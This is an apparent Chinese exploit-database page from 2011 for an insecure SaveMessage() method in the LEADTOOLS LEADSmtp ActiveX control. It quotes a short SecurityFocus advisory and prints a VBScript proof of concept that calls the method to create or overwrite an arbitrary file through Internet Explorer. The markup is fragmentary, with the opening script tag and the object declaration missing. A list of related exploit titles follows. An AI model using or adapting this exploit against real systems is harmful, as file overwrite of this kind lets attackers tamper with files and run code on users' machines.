发布 2011-06-23 漏洞条目

LeadTools Imaging LEADSmtp – ActiveX Control ‘SaveMessage()’ Insecure Method

Exploit Source

source: https://www.securityfocus.com/bid/48408/info

LEADTOOLS Imaging LEADSmtp ActiveX control is prone to a vulnerability caused by an insecure method.

Successfully exploiting this issue will allow attackers to create or overwrite files within the context of the affected application (typically Internet Explorer) that uses the ActiveX control. Attackers may execute arbitrary code with user-level privileges.

<html>

Sub Boom()

arg1="FilePath\Filename_to_overwrite"

arg2=True

target.SaveMessage arg1 ,arg2

End Sub

</script>

</html>

作者: High-Tech Bridge SA
日期: 2011-06-23
类别: remote
平台: windows

相关漏洞条目

strongSwan 5.9.13 – libsimaka EAP-SIM/AKA heap buffer overflow

Wing FTP Server 8.1.3 – Authenticated Remote Code Execution

Microsoft – NTLMv2 Hash Capture

telnetd 2.7 – Buffer Overflow